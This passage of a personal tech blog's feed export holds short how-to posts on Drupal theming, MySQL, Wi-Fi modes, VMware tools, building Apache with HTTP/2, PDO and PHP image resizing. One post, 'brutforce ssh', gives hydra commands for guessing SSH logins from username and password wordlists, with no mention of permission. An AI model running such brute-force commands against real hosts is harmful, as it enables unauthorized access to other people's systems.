&lt;pre&gt; $variables[&#039;submitted&#039;] = //t(&#039;Submitted by !username on !datetime&#039;, array(&#039;!username&#039; =&gt; $variables[&#039;name&#039;], &#039;!datetime&#039; =&gt; $variables[&#039;date&#039;]));
&lt;/pre&gt;&lt;br&gt;
and replace it with:
&lt;br&gt;&lt;pre&gt;
 $variables[&#039;submitted&#039;] = &#039;&#039;;//t(&#039;Submitted by !username on !datetime&#039;, array(&#039;!username&#039; =&gt; $variables[&#039;name&#039;], &#039;!datetime&#039; =&gt; $variables[&#039;date&#039;]));
&lt;/pre&gt;
remember that you can&#039;t just comment out the $variables[&#039;submitted&#039;] because it may couse issues within your site later on</content>
<published>2016-06-19T14:52:00+00:00</published>
<updated>2016-06-19T14:52:00+00:00</updated>
<link rel='alternate' type='text/html' href='//wirelessarmy.theproject1.com/59'/>
<id>https://wirelessarmy.theproject1.com/59</id>
<author><name>admin</name></author>
</entry> <entry>
<title>a basic understanding of sql database</title> 
<content type='html'>a basic understanding of sql database
&lt;img src=&quot;/images/blog/mysql-basic.png&quot; width=&quot;450px&quot; height=&quot;100%&quot; alt=&quot;mysql&quot; /&gt;
&lt;br&gt;
query= it’s the same thing as command. in programming world the say write a command in the database world they say write a query.</content>
<published>2016-06-19T14:49:00+00:00</published>
<updated>2016-06-19T14:49:00+00:00</updated>
<link rel='alternate' type='text/html' href='//wirelessarmy.theproject1.com/28'/>
<id>https://wirelessarmy.theproject1.com/28</id>
<author><name>admin</name></author>
</entry> <entry>
<title>reset AUTO_INCREMENT in MySQL</title> 
<content type='html'>if you want to reset the AUTO_INCREMENT in MySQL
you can run this command:
&lt;pre&gt;ALTER TABLE tablename AUTO_INCREMENT = 1&lt;/pre&gt;
or if have all ready data in a database and you want to skip some numbers you can change the number 1 to anything you want.</content>
<published>2016-06-19T13:00:00+00:00</published>
<updated>2016-06-19T13:00:00+00:00</updated>
<link rel='alternate' type='text/html' href='//wirelessarmy.theproject1.com/31'/>
<id>https://wirelessarmy.theproject1.com/31</id>
<author><name>admin</name></author>
</entry> <entry>
<title>Wi-Fi modes</title> 
<content type='html'>There are 6 type of wifi.
&lt;table&gt;
&lt;tr&gt;&lt;td&gt;Master:&lt;/td&gt;&lt;td&gt;usually known as Access Point or Base Station and allow other deveices to connect to it. Most used device with this capability is a router&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Managed:&lt;/td&gt;&lt;td&gt;a mode that we can find on most laptop. With this mode you can connect to a router&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Ad-hoc:&lt;/td&gt;&lt;td&gt;when 2 computers conect to eachother directly.(without router)&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Mesh:&lt;/td&gt;&lt;td&gt;when routers connect to gether to make wifi connection availble in a large scale using the same ssid.&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Repeater:&lt;/td&gt;&lt;td&gt;devices with this mode connect to a router and repeat the signal. for use in large houses.&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Monitor:&lt;/td&gt;&lt;td&gt;to view what is in the air with out connecting to anything.&lt;/td&gt;&lt;/tr&gt;
&lt;/table&gt;</content>
<published>2016-06-12T12:40:00+00:00</published>
<updated>2016-06-12T12:40:00+00:00</updated>
<link rel='alternate' type='text/html' href='//wirelessarmy.theproject1.com/10'/>
<id>https://wirelessarmy.theproject1.com/10</id>
<author><name>admin</name></author>
</entry> <entry>
<title>unity stop working</title> 
<content type='html'>if you are using windows 8 or 8.1 and/or unity3d v4.2.2
sometime unity will stop working before starting a project.
so to fix it you need to create a shortcut,
right click and go to properties
then add this at the end of the target:
&lt;pre&gt; -force-d3d11&lt;/pre&gt;
or if you have 2 graphic card, you may what to right-click then 
under the run with graphic possessor click or the nvidia or amd </content>
<published>2016-06-07T22:30:00+00:00</published>
<updated>2016-06-07T22:30:00+00:00</updated>
<link rel='alternate' type='text/html' href='//wirelessarmy.theproject1.com/142'/>
<id>https://wirelessarmy.theproject1.com/142</id>
<author><name>admin</name></author>
</entry> <entry>
<title>folder mouthing error</title> 
<content type='html'>&lt;p&gt;you might get an error like this:&lt;/p&gt;
&lt;pre&gt;Unable to update runtime folder sharing status: There was an error mounting Shared Folders file system inside the guest operating system.&lt;/pre&gt;
&lt;p&gt;or your shared folder may not even mouth in the linux guest system. this is how to fix it:&lt;/p&gt;
&lt;pre&gt;sudo apt-get install build-essential linux-headers-$(uname -r)
sudo vmware-config-tools.pl&lt;/pre&gt;
&lt;p&gt;why it happens? &lt;br /&gt; every time you upgrade your linux to a newer version this problem may occur.&lt;/p&gt;
&lt;p&gt;if that didn&#039;t work try&lt;/p&gt;
&lt;pre&gt;cd ~
apt-get install git gcc make linux-headers-$(uname -r)
git clone https://github.com/rasa/vmware-tools-patches.git
cd vmware-tools-patches
&lt;/pre&gt;
&lt;p&gt;Get the last version of VMwareTools clicking on VMWare Bar &amp;gt; VM &amp;gt; Install/Reinstall VMWare Tools. It will open a virtual CD containing the &quot;tar&quot; file.&lt;/p&gt;
&lt;pre&gt;cp /media/cdrom/VMwareTools-9.6.2-1688356.tar.gz downloads/
./untar-and-patch-and-compile.sh&lt;/pre&gt;</content>
<published>2016-06-06T23:06:00+00:00</published>
<updated>2016-06-06T23:06:00+00:00</updated>
<link rel='alternate' type='text/html' href='//wirelessarmy.theproject1.com/156'/>
<id>https://wirelessarmy.theproject1.com/156</id>
<author><name>admin</name></author>
</entry> <entry>
<title>brutforce ssh</title> 
<content type='html'>&lt;p&gt;3 things that you will need:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;the ssh ip address&lt;/li&gt;
&lt;li&gt;a wordlist of possible usernames&lt;/li&gt;
&lt;li&gt;a wordlist of possible passwords&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre&gt;hydra -L user.txt -P pass.txt ip ssh&lt;/pre&gt;
&lt;pre&gt;&lt;br /&gt;
or if it&#039;s running on a different port do:&lt;/pre&gt;
&lt;pre&gt;hydra -s 44 -L user.txt -P pass.txt ip ssh&lt;/pre&gt;</content>
<published>2016-06-01T17:07:00+00:00</published>
<updated>2016-06-01T17:07:00+00:00</updated>
<link rel='alternate' type='text/html' href='//wirelessarmy.theproject1.com/105'/>
<id>https://wirelessarmy.theproject1.com/105</id>
<author><name>admin</name></author>
</entry> <entry>
<title>windows 10 policy error</title> 
<content type='html'>&lt;p&gt;&lt;span style=&quot;background-image: initial; background-attachment: initial; background-size: initial; background-origin: initial; background-clip: initial; background-position: initial; background-repeat: initial;&quot;&gt;how to Fix the &amp;ldquo;Disabled by Company Policy&amp;rdquo; or &amp;ldquo;Managed by Your Organization&amp;rdquo; Message in Windows 10&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style=&quot;background-image: initial; background-attachment: initial; background-size: initial; background-origin: initial; background-clip: initial; background-position: initial; background-repeat: initial;&quot;&gt;if you are using company email or&amp;nbsp;Office365,&amp;nbsp;you can remove the email account and re-add it, but pay attention to the part where it asks if you want to use this account to sign into other services. Make sure you select NO. That will prevent the policy enforcement.&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;margin: 0in; line-height: 19pt; font-family: Calibri; font-size: 11.25pt;&quot;&gt;&lt;span style=&quot;background-image: initial; background-attachment: initial; background-size: initial; background-origin: initial; background-clip: initial; background-position: initial; background-repeat: initial;&quot;&gt;Settings &amp;gt; Time &amp;amp; Language &amp;gt; Region &amp;amp; Language. Make sure your &amp;ldquo;Country or region&amp;rdquo; setting is correct, and that you have the correct language listed under &amp;ldquo;Languages&amp;rdquo;. You may need to click on the language and choose &amp;ldquo;Set as default&amp;rdquo;. If it is not in the list, add it with the &amp;ldquo;Add a language&amp;rdquo; button. Lastly, head to the &amp;ldquo;Speech&amp;rdquo; tab and ensure your &amp;ldquo;Speech language&amp;rdquo; is set to the same language as the other settings. And, of course,&amp;nbsp;&lt;/span&gt;&lt;a href=&quot;http://windows.microsoft.com/en-us/windows-10/cortanas-regions-and-languages#v1h=tab01&quot;&gt;&lt;span style=&quot;background-image: initial; background-attachment: initial; background-size: initial; background-origin: initial; background-clip: initial; background-position: initial; background-repeat: initial;&quot;&gt;make sure Cortana is available in your region&lt;/span&gt;&lt;/a&gt;&lt;span style=&quot;background-image: initial; background-attachment: initial; background-size: initial; background-origin: initial; background-clip: initial; background-position: initial; background-repeat: initial;&quot;&gt;&amp;nbsp;in the first place.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style=&quot;background-image: initial; background-attachment: initial; background-size: initial; background-origin: initial; background-clip: initial; background-position: initial; background-repeat: initial;&quot;&gt;Both the Cortana error and the &amp;ldquo;managed by your organization&amp;rdquo;&amp;nbsp;message can often appear&amp;nbsp;if&amp;nbsp;you&amp;rsquo;ve altered your settings for&amp;nbsp;Microsoft&amp;rsquo;s&amp;nbsp;Telemetry program. Some&amp;nbsp;features require this to be set to &amp;ldquo;Enhanced&amp;rdquo; or &amp;ldquo;Full&amp;rdquo; to work properly. To change this, open the Settings app and head to Privacy &amp;gt; Feedback &amp;amp; diagnostics. Under &amp;ldquo;Diagnostic and usage data&amp;rdquo;, select &amp;ldquo;Enhanced&amp;rdquo; instead of &amp;ldquo;Basic&amp;rdquo;.&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;margin: 0in; font-family: Calibri; font-size: 11.0pt;&quot;&gt;&amp;nbsp;&lt;/p&gt;</content>
<published>2016-05-16T19:05:57+00:00</published>
<updated>2016-05-16T19:05:57+00:00</updated>
<link rel='alternate' type='text/html' href='//wirelessarmy.theproject1.com/199'/>
<id>https://wirelessarmy.theproject1.com/199</id>
<author><name>admin</name></author>
</entry> <entry>
<title>performance optimization for apache</title> 
<content type='html'>&lt;p&gt;with the commnad apache2 -v you can find out you apache version. If its higher than 2.4.18 first do&amp;nbsp;&lt;/p&gt;
&lt;pre&gt;a2enmod http2&lt;/pre&gt;
&lt;p&gt;then&lt;/p&gt;
&lt;pre&gt;# for a https server&lt;br /&gt;Protocols h2 http/1.1&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;# for a http server&lt;br /&gt;Protocols h2c http/1.1&lt;/pre&gt;
&lt;p&gt;that will speed up your load time about 60 to 70 percent. (depending on file size and equipment performance)&lt;/p&gt;
&lt;p&gt;if you have a lower version you can&amp;nbsp;&lt;a href=&quot;177&quot; target=&quot;_blank&quot;&gt;build apache from source&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;if you are using php upgrading to php 7.0 will give you twice the performance with half the power consomption. if you can&#039;t apt-get install php 7.0 you can&amp;nbsp;&lt;a href=&quot;172&quot; target=&quot;_blank&quot;&gt;build it from source&lt;/a&gt;&lt;/p&gt;</content>
<published>2016-05-15T03:25:12+00:00</published>
<updated>2016-05-15T03:25:12+00:00</updated>
<link rel='alternate' type='text/html' href='//wirelessarmy.theproject1.com/195'/>
<id>https://wirelessarmy.theproject1.com/195</id>
<author><name>admin</name></author>
</entry> <entry>
<title>Decompressing files</title> 
<content type='html'>&lt;h3&gt;&amp;nbsp;&lt;/h3&gt;
&lt;table border=&quot;1&quot; width=&quot;100%&quot; cellspacing=&quot;0&quot; cellpadding=&quot;0&quot;&gt;
&lt;tbody&gt;
&lt;tr align=&quot;center&quot;&gt;
&lt;td width=&quot;33%&quot;&gt;&lt;strong&gt;Syntax&lt;/strong&gt;&lt;/td&gt;
&lt;td width=&quot;33%&quot;&gt;&lt;strong&gt;Description&lt;/strong&gt;&lt;/td&gt;
&lt;td width=&quot;34%&quot;&gt;&lt;strong&gt;Example(s)&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td width=&quot;33%&quot;&gt;gzip -d {.gz file}&lt;br /&gt;gunzip {.gz file}&lt;/td&gt;
&lt;td width=&quot;33%&quot;&gt;Decompressed a file that is created usinggzip command. File is restored to their original form using this command.&lt;/td&gt;
&lt;td width=&quot;34%&quot;&gt;gzip -d mydata.doc.gz&lt;br /&gt;gunzip mydata.doc.gz&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td width=&quot;33%&quot;&gt;bzip2 -d {.bz2-file}&lt;br /&gt;bunzip2 {.bz2-file}&lt;/td&gt;
&lt;td width=&quot;33%&quot;&gt;Decompressed a file that is created using bzip2 command. File is restored to their original form using this command.&lt;/td&gt;
&lt;td width=&quot;34%&quot;&gt;bzip2 -d mydata.doc.bz2&lt;br /&gt;gunzip mydata.doc.bz2&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td width=&quot;33%&quot;&gt;unzip {.zip file}&lt;/td&gt;
&lt;td width=&quot;33%&quot;&gt;Extract compressed files in a ZIP archive.&lt;/td&gt;
&lt;td width=&quot;34%&quot;&gt;unzip file.zip&lt;br /&gt;unzip data.zip resume.doc&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td width=&quot;33%&quot;&gt;tar -zxvf {.tgz-file}&lt;br /&gt;tar -jxvf {.tbz2-file}&lt;/td&gt;
&lt;td width=&quot;33%&quot;&gt;Untar or decompressed a file(s) that is created using tar compressing through gzip and bzip2 filter&lt;/td&gt;
&lt;td width=&quot;34%&quot;&gt;tar -zxvf data.tgz &lt;br /&gt;tar -zxvf pics.tar.gz *.jpg&lt;br /&gt;tar -jxvf data.tbz2&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;</content>
<published>2016-05-12T15:16:22+00:00</published>
<updated>2016-05-12T15:16:22+00:00</updated>
<link rel='alternate' type='text/html' href='//wirelessarmy.theproject1.com/189'/>
<id>https://wirelessarmy.theproject1.com/189</id>
<author><name>admin</name></author>
</entry> <entry>
<title>password protected web folder</title> 
<content type='html'>&lt;p&gt;in c:\xampp\apache\bin\&lt;/p&gt;
&lt;p&gt;htpasswd.exe -c -b .htpasswd ausername&amp;nbsp;apassword&lt;/p&gt;
&lt;p&gt;htpasswd -c /home/folder/.htpasswd&amp;nbsp;ausername&amp;nbsp;&lt;/p&gt;
&lt;p&gt;and then add the following to your .htaccess&lt;/p&gt;
&lt;pre&gt;AuthName &quot;test&quot;&lt;br /&gt;AuthType Basic&lt;br /&gt;AuthUserFile &quot;C:/folder/.htpasswd&quot; #or &quot;/home/folder/.htpasswd&quot;&lt;br /&gt;require valid-user&lt;br /&gt;DirectoryIndex index.php&lt;/pre&gt;</content>
<published>2016-05-11T18:33:50+00:00</published>
<updated>2016-05-11T18:33:50+00:00</updated>
<link rel='alternate' type='text/html' href='//wirelessarmy.theproject1.com/186'/>
<id>https://wirelessarmy.theproject1.com/186</id>
<author><name>admin</name></author>
</entry> <entry>
<title>build apache2 from source</title> 
<content type='html'>&lt;p&gt;this could helpful if apt-get install apache installs an old version or you want to play around with h2 http2.0 protocal&lt;/p&gt;
&lt;p&gt;first we have to install the dependencies&lt;/p&gt;
&lt;pre&gt;sudo apt-get install g++ make binutils autoconf automake autotools-dev libtool pkg-config \ zlib1g-dev libcunit1-dev libssl-dev libxml2-dev libev-dev libevent-dev libjansson-dev \libjemalloc-dev cython python3-dev python-setuptools libapr1-dev libaprutil1-dev&lt;/pre&gt;
&lt;p&gt;then install&amp;nbsp;nghttp2 for http2 protocal&amp;nbsp;&lt;/p&gt;
&lt;pre&gt;git clone https://github.com/tatsuhiro-t/nghttp2.git
autoreconf -i
automake
autoconf
./configure
make
make install
ln -s /usr/local/lib/libnghttp2.so /lib/x86_64-linux-gnu/libnghttp2.so.5
ldconfig&lt;/pre&gt;
&lt;p&gt;now finally we can start downloading apache 2.4.18&lt;/p&gt;
&lt;pre&gt;wget http://apache.mirror.gtcomm.net//httpd/httpd-2.4.18.tar.bz2
tar -jxvf httpd-2.4.18.tar.bz2
./configure --prefix=/usr/local/apache2 --enable-mods-shared=all --enable-so --enable-http2 --with-nghttp2=/usr/local --enable-nghttp2-staticlib-deps --enable-proxy --with-mpm=event&lt;br /&gt;--enable-ssl --enable-ssl-staticlib-deps
make
make install&lt;/pre&gt;
&lt;p&gt;if you want to install arp (Apache Portable Runtime) download the latest version and copy the inside apache download directory under srclib&lt;/p&gt;
&lt;pre&gt;wget http://apache.sunsite.ualberta.ca//apr/apr-1.5.2.tar.gz&lt;br /&gt;wget http://apache.sunsite.ualberta.ca//apr/apr-util-1.5.4.tar.gz&lt;br /&gt;tar -zxvf apr-1.5.2.tar.gz&lt;br /&gt;tar -zxvf apr-util-1.5.4.tar.gz&lt;br /&gt;cp -R apr-1.5.2 httpd-2.4.18/srclib/apr/&lt;br /&gt;cp -R apr-util-1.5.4 httpd-2.4.18/srclib/apr-util/&lt;br /&gt;&lt;br /&gt;and then add --with-included-apr to your ./configure line&lt;/pre&gt;
&lt;p&gt;to start or stop your server you have to&lt;/p&gt;
&lt;pre&gt;cd /usr/local/apache2/bin
./apachectl start
./apachectl stop
./apachectl restart&lt;/pre&gt;
&lt;p&gt;if you want to install php from source,&amp;nbsp;&lt;a href=&quot;172&quot;&gt;here is a guide&lt;/a&gt;&lt;br /&gt;also not that command like a2enmod a2ensite only work if you have installed apache with apt-get install&lt;/p&gt;
&lt;p&gt;in order to change those you have to edit &lt;strong&gt;/usr/local/apache2/conf/httpd.conf&lt;/strong&gt; to use http 2.0 you need to add the following lines to httpd.conf:&lt;/p&gt;
&lt;pre&gt;LoadModule http2_module modules/mod_http2.so
&amp;lt;IfModule http2_module&amp;gt;
    LogLevel http2:info
&amp;lt;/IfModule&amp;gt;
# for a https server
Protocols h2 http/1.1
# for a http server
Protocols h2c http/1.1&lt;/pre&gt;
&lt;p&gt;for testing you can run&lt;strong&gt; nghttp -uv http://mysite&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;now to make it start with boot&lt;br /&gt;&lt;br /&gt;cp /usr/local/apache2/bin/apachectl /etc/init.d/apachectl&lt;/pre&gt;
&lt;p&gt;and then add&lt;/p&gt;
&lt;pre&gt;### BEGIN INIT INFO
# Provides:&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; apache
# Required-Start:&amp;nbsp; &amp;nbsp; $remote_fs $syslog
# Required-Stop:&amp;nbsp; &amp;nbsp; &amp;nbsp;$remote_fs $syslog
# Default-Start:&amp;nbsp; &amp;nbsp; &amp;nbsp;2 3 4 5
# Default-Stop:&amp;nbsp; &amp;nbsp; &amp;nbsp; 0 1 6
# Short-Description: Example initscript
# Description:&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;This file should be used to construct scripts to be
#&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; placed in /etc/init.d.&lt;br /&gt;### END INIT INFO&lt;/pre&gt;
&lt;p&gt;after &lt;strong&gt;#!bin/sh&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;and then&lt;/p&gt;
&lt;pre&gt;update-rc.d -f apache2 remove
update-rc.d apachectl defaults
update-rc.d apachectl enable&lt;/pre&gt;
&lt;p&gt;from now on you can use the commands service apachectl start | stop | restart&lt;/p&gt;</content>
<published>2016-01-14T07:02:47+00:00</published>
<updated>2016-01-14T07:02:47+00:00</updated>
<link rel='alternate' type='text/html' href='//wirelessarmy.theproject1.com/177'/>
<id>https://wirelessarmy.theproject1.com/177</id>
<author><name>admin</name></author>
</entry> <entry>
<title>permission for ntfs externarl drive</title> 
<content type='html'>&lt;p&gt;give permission to user and group on a hard drive &lt;br /&gt; if you have an external hard drive you have noticed that the only permission that you have is owner and you can&#039;t change it with chmod or chmod -R For the solution you need to install ntfs config and then run it. (sometimes reboot is needed)&lt;/p&gt;
&lt;pre&gt;apt-get install ntfs-config ntfs-3g
ntfs-config
&lt;/pre&gt;</content>
<published>2015-12-22T10:33:00+00:00</published>
<updated>2015-12-22T10:33:00+00:00</updated>
<link rel='alternate' type='text/html' href='//wirelessarmy.theproject1.com/67'/>
<id>https://wirelessarmy.theproject1.com/67</id>
<author><name>admin</name></author>
</entry> <entry>
<title>pdo api - connect to database</title> 
<content type='html'>&lt;p&gt;this is a tutorial for transition from normal mysql query to pdo. Because pdo has been proven more secure&lt;br /&gt; this is your normal mysql connection. config.php&lt;/p&gt;
&lt;pre&gt;&amp;lt;?php
&lt;strong&gt;//a fonction called data connect&lt;/strong&gt;
function dataConnect() {
&lt;strong&gt;//connects to mysql with the fallowing credentials or display an error if info in not correct&lt;/strong&gt;
mysql_connect(&quot;localhost&quot;, &quot;root&quot;, &quot;pass&quot;) or die(mysql_error());
&lt;strong&gt;//select the database called test or display the error of not finding the database&lt;/strong&gt;
mysql_select_db(&quot;test&quot;) or die(mysql_error());
}
&lt;strong&gt;//a variable that connects to mysql database&lt;/strong&gt;
$dbh = dataConnect();
?&amp;gt;&lt;/pre&gt;
&lt;p&gt;now in pdo&lt;/p&gt;
&lt;pre&gt;&amp;lt;?php
  &lt;strong&gt;//the server and the database name&lt;/strong&gt;
  $dsn = &#039;mysql:host=localhost;dbname=test&#039;;
  &lt;strong&gt;//the username and pass&lt;/strong&gt;
  $username = &#039;root&#039;;
  $password = &#039;pass&#039;;
  &lt;strong&gt;//set the characters in utf-8&lt;/strong&gt;
  $options = array(
    PDO::MYSQL_ATTR_INIT_COMMAND =&amp;gt; &#039;SET NAMES utf8&#039;,
  ); 
  &lt;strong&gt;//a variable that connects to mysql database&lt;/strong&gt;
  $dbh = new PDO($dsn, $username, $password, $options);
?&amp;gt;&lt;/pre&gt;
&lt;p&gt;but if we use just this code, it and there is an error, nothing will happen so we use try and catch to display the error like so:&lt;/p&gt;
&lt;pre&gt;&amp;lt;?php
try {
  &lt;strong&gt;//the server and the database name &lt;/strong&gt;
  $dsn = &#039;mysql:host=localhost;dbname=test&#039;;
  &lt;strong&gt;//the username and password &lt;/strong&gt;
  $username = &#039;root&#039;;
  $password = &#039;pass&#039;;
  &lt;strong&gt;//set the characters in utf-8&lt;/strong&gt;
  $options = array(
    PDO::MYSQL_ATTR_INIT_COMMAND =&amp;gt; &#039;SET NAMES utf8&#039;,
  ); 
  &lt;strong&gt;//a variable that connects to mysql database &lt;/strong&gt;
  $dbh = new PDO($dsn, $username, $password, $options);
 &lt;strong&gt;//in some cases that nothing happens this line will give (throw) you the error if you use try catach &lt;/strong&gt;
  $dbh-&amp;gt;setAttribute( PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION );
} catch(PDOException $e) {
    echo &#039;ERROR: &#039; . $e-&amp;gt;getMessage();
}
?&amp;gt;&lt;/pre&gt;
&lt;p&gt;&lt;br /&gt;now you can include the connection in files with this:&lt;/p&gt;
&lt;pre&gt;&amp;lt;?php require &quot;config.php&quot;; ?&amp;gt;&lt;/pre&gt;
&lt;p&gt;&lt;br /&gt;and close it with this&lt;/p&gt;
&lt;pre&gt;&amp;lt;? $dbh = null; ?&amp;gt;&lt;/pre&gt;</content>
<published>2015-12-18T13:15:00+00:00</published>
<updated>2015-12-18T13:15:00+00:00</updated>
<link rel='alternate' type='text/html' href='//wirelessarmy.theproject1.com/37'/>
<id>https://wirelessarmy.theproject1.com/37</id>
<author><name>admin</name></author>
</entry> <entry>
<title>GD Resize Transparent Image PNG &amp; GIF</title> 
<content type='html'>&lt;p&gt;By default, you will get black background if you resize a transparent image. To fix it, you need set alpha channel &lt;em&gt;&lt;a title=&quot;int imagecolorallocatealpha ( resource image, int red, int green, int blue, int alpha)&quot; href=&quot;http://www.php.net/imagecolorallocatealpha&quot; target=&quot;_blank&quot;&gt;imagecolorallocatealpha&lt;/a&gt;&lt;/em&gt; to 127.&lt;/p&gt;
&lt;p&gt;imagecolorallocatealpha() behaves identically to &lt;strong&gt;&lt;a title=&quot; int imagecolorallocate  ( resource image  , int red  , int green  , int blue  )&quot; href=&quot;http://www.php.net/imagecolorallocate&quot; target=&quot;_blank&quot;&gt;imagecolorallocate()&lt;/a&gt;&lt;/strong&gt; with the addition of the transparency parameter &lt;em&gt;alpha&lt;/em&gt; which may have a value between 0 and 127. 0 indicates completely opaque while 127 indicates completely transparent.&lt;/p&gt;
&lt;p&gt;main page:&lt;/p&gt;
&lt;pre&gt;&amp;lt;?
include_once(&quot;resizeimage.php&quot;);
$img = &quot;image.png&quot;; // File image location
$newfilename = &quot;thumb_image.png&quot;; // New file name for thumb
$w = 100;
$h = 100;
 
$thumbnail = resize($img, $w, $h, $newfilename);
 
&lt;span class=&quot;kw3&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;st0&quot;&gt;&quot;&amp;lt;img src=&#039;&quot;&lt;/span&gt;&lt;span class=&quot;sy0&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;re1&quot;&gt;$thumbnail&lt;/span&gt;&lt;span class=&quot;sy0&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;st0&quot;&gt;&quot;&#039;&amp;gt;&quot;&lt;/span&gt;&lt;span class=&quot;sy0&quot;&gt;;&lt;/span&gt;?&amp;amp;gt;
&lt;/pre&gt;
&lt;p&gt;resizeimage.php:&lt;/p&gt;
&lt;pre&gt;&amp;lt;?
function resize($img, $w, $h, $newfilename) {
 
 //Check if GD extension is loaded
 if (!extension_loaded(&#039;gd&#039;) &amp;amp;&amp;amp; !extension_loaded(&#039;gd2&#039;)) {
  trigger_error(&quot;GD is not loaded&quot;, E_USER_WARNING);
  return false;
 }
 
 //Get Image size info
 $imgInfo = getimagesize($img);
 switch ($imgInfo[2]) {
  case 1: $im = imagecreatefromgif($img); break;
  case 2: $im = imagecreatefromjpeg($img);  break;
  case 3: $im = imagecreatefrompng($img); break;
  default:  trigger_error(&#039;Unsupported filetype!&#039;, E_USER_WARNING);  break;
 }
 
 //If image dimension is smaller, do not resize
 if ($imgInfo[0] &amp;lt;= $w &amp;amp;&amp;amp; $imgInfo[1] &amp;lt;= $h) {
  $nHeight = $imgInfo[1];
  $nWidth = $imgInfo[0];
 }else{
                //yeah, resize it, but keep it proportional
  if ($w/$imgInfo[0] &amp;gt; $h/$imgInfo[1]) {
   $nWidth = $w;
   $nHeight = $imgInfo[1]*($w/$imgInfo[0]);
  }else{
   $nWidth = $imgInfo[0]*($h/$imgInfo[1]);
   $nHeight = $h;
  }
 }
 $nWidth = round($nWidth);
 $nHeight = round($nHeight);
 
 $newImg = imagecreatetruecolor($nWidth, $nHeight);
 
 /* Check if this image is PNG or GIF, then set if Transparent*/  
 if(($imgInfo[2] == 1) OR ($imgInfo[2]==3)){
  imagealphablending($newImg, false);
  imagesavealpha($newImg,true);
  $transparent = imagecolorallocatealpha($newImg, 255, 255, 255, 127);
  imagefilledrectangle($newImg, 0, 0, $nWidth, $nHeight, $transparent);
 }
 imagecopyresampled($newImg, $im, 0, 0, 0, 0, $nWidth, $nHeight, $imgInfo[0], $imgInfo[1]);
 
 //Generate the file, and rename it to $newfilename
 switch ($imgInfo[2]) {
  case 1: imagegif($newImg,$newfilename); break;
  case 2: imagejpeg($newImg,$newfilename);  break;
  case 3: imagepng($newImg,$newfilename); break;
  default:  trigger_error(&#039;Failed resize image!&#039;, E_USER_WARNING);  break;
 }
   
   return $newfilename;
}
?&amp;gt;
&lt;/pre&gt;
&lt;p&gt;a more simple version:&lt;/p&gt;
&lt;pre&gt;&amp;lt;?
$newImg = imagecreatetruecolor($nWidth, $nHeight);
imagealphablending($newImg, false);
imagesavealpha($newImg,true);
$transparent = imagecolorallocatealpha($newImg, 255, 255, 255, 127);
imagefilledrectangle($newImg, 0, 0, $nWidth, $nHeight, $transparent);
imagecopyresampled($newImg, $im, 0, 0, 0, 0, $nWidth, $nHeight, $imgInfo[0], $imgInfo[1]);
?&amp;gt;&lt;/pre&gt;</content>
<published>2015-12-17T18:20:51+00:00</published>
<updated>2015-12-17T18:20:51+00:00</updated>
<link rel='alternate' type='text/html' href='//wirelessarmy.theproject1.com/170'/>
<id>https://wirelessarmy.theproject1.com/170</id>
<author><name>admin</name></author>
</entry> <entry>
<title>Subnet mask cheat sheet</title> 
<content type='html'>&lt;p&gt;An IPv4 network mask consists of 32 bits. The following example shows the separation of the network prefix and the host identifier from an address (192.168.5.130) and its associated /24 network mask (255.255.255.0).&lt;/p&gt;
&lt;table class=&quot;wikitable&quot; style=&quot;margin: left;&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;&lt;th&gt;&amp;nbsp;&lt;/th&gt;&lt;th&gt;Binary form&lt;/th&gt;&lt;th&gt;Dot-decimal notation&lt;/th&gt;&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;IP address&lt;/td&gt;
&lt;td&gt;&lt;code&gt;11000000.10101000.00000101.10000010&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;192.168.5.130&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Subnet mask&lt;/td&gt;
&lt;td&gt;&lt;code&gt;11111111.11111111.11111111.00000000&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;255.255.255.0&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Network prefix&lt;/td&gt;
&lt;td&gt;&lt;code&gt;11000000.10101000.00000101.00000000&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;192.168.5.0&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Host part&lt;/td&gt;
&lt;td&gt;&lt;code&gt;00000000.00000000.00000000.10000010&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;0.0.0.130&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
